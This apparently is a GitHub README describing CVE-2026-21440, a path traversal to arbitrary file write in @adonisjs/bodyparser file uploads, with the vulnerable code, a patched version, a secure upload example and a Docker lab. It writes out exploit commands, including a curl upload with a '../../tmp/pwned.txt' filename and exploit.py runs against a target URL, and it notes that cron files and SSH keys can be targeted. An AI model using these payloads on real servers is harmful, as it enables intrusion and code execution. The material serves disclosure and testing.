
poc and writeup for cve-2026-21440: a critical path traversal vulnerability in @adonisjs/bodyparser allowing arbitrary file writing
path traversal to arbitrary file write in @adonisjs/bodyparser
a critical path traversal vulnerability exists in the @adonisjs/bodyparser package that allows remote attackers to write arbitrary files outside the intended upload directory. when the multipartfile.move() function is called without explicitly providing a sanitized filename, the parser defaults to using the client-supplied filename without proper sanitization.
because the implementation uses path.join() and options.overwrite defaults to true, an attacker can craft a malicious filename containing directory traversal sequences (e.g., ) to write files anywhere on the filesystem, potentially leading to remote code execution.
../../etc/cron.d/malicious| attribute | value |
|---|---|
| cve id | cve-2026-21440 |
| cwe classification | cwe-22: improper limitation of a pathname to a restricted directory ('path traversal') |
| cvss v3.1 score | 9.2 (critical) |
| attack vector | network |
| attack complexity | low |
| privileges required | none |
| user interaction | none |
the vulnerability exists in the multipartfile.move(location, options?) method. when developers call this method without providing options.name, the code defaults to using this.clientName — the original filename sent by the client — without sanitization.
// vulnerable code path in @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← unsanitized client input
const filePath = path.join(location, fileName) // ← path.join allows traversal
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ attacker │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ vulnerable adonisjs app │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← no sanitized name provided │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ resolves to: /etc/cron.d/pwned │
│ │ │
│ ▼ │
│ file written outside upload directory │
└─────────────────────────────────────────────────────────────────┘
│
▼
arbitrary file write
→ rce via cron
→ config overwrite
→ ssh key injection
| package | vulnerable versions | patched version |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 to 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparserfile.move() without explicit name option# navigate to exploit directory
cd Exploit-PoC
# install dependencies
pip install -r requirements.txt
# run exploit
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ vulnerable - uses client-supplied filename
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName used as filename
}
return response.ok({ message: 'uploaded' })
}
// ✅ secure - generates sanitized filename
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// generate unique filename with original extension
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // prevent overwrites
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser to patched version# clone repository
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# start vulnerable environment
docker-compose up --build
# in another terminal, run exploit
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# verify file was written outside uploads directory
docker-compose exec app cat /app/test.txt
| date | event |
|---|---|
| 2026-01-02 | patch released in 10.1.2 and 11.0.0-next.6 |
| 2026-01-02 | ghsa-gvq6-hvvp-h34h published |
| 2026-01-02 | cve-2026-21440 assigned |
| 2026-01-02 | published by nvd |
this repository is provided for educational and authorized security research purposes only. the proof-of-concept code is intended to help security professionals understand and test for this vulnerability in environments they are authorized to assess.
unauthorized access to computer systems is illegal. the authors assume no liability for misuse of this information. always obtain proper authorization before testing for vulnerabilities.
researched with ☕ by k0nnect